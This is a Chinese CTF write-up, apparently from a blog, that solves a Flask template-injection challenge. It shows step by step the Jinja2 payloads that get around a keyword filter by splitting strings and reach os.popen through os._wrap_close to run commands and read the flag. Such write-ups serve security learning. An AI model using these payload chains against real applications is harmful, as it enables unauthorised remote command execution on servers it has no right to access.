1. 程式人生 > 其它 >[四葉草模板注入漏洞演習第三彈] flask真香

[四葉草模板注入漏洞演習第三彈] flask真香

簡單的ssti,但是ssti輸出點很迷,導致花了十來分鐘才找到。
進入題目看到一個3D向量模型,但是並沒有找到資訊傳入和輸出的地方:

然後思路卡在了這裡,嘗試了arjun和dirsearch均無果,然後發現題目的404頁面是自己編寫的:

嘗試了一下{{2*2}}便找到了ssti點:

然後簡單fuzz了一下,發現過濾的很多,存在違禁詞時會返回500狀態,過濾了:

class
subclasses
config
args
request
open
eval
import

我們可以找到session物件,並且利用其dict的型別來通過字典的鍵名(鍵名為字串,可拼接)來尋找我們需要的類。
通過字串拼接

來繞過過濾,構造:{{session['cla'+'ss']}}

然後不斷拼接__bases__[0]來一層一層向上查詢基類,直到找到object基類:{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}

再利用__subclasses__去訪問object基類下的所有子類:{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}

我們嘗試尋找可以執行命令的子類,主要應該考慮os
類,在頁面中搜索後找到os._wrap_close類,定位其位置並使用__init__來將其例項化,再使用__globals__來檢視所有變數:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}

並且我們也在該類下找到了可以用於執行命令的popen函式:

但是popen也會被過濾,還是使用字串拼接的方法繞過:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}

成功RCE:

然後再執行cat Th1s__is_S3cret即可獲得Flag

做完之後發現這道題是NCTF2018的一道原題,於是百度找到了一位大師傅的Wp:深入SSTI-從NCTF2018兩道Flask看bypass新姿勢
文章將ssti bypass的思路與原理分析的非常清晰,學到了很多操作,推薦一下

[ * ]部落格中轉載的文章均已標明出處與來源,若無意產生侵權行為深表歉意,需要刪除或更改請聯絡博主: 2245998470[at]qq.com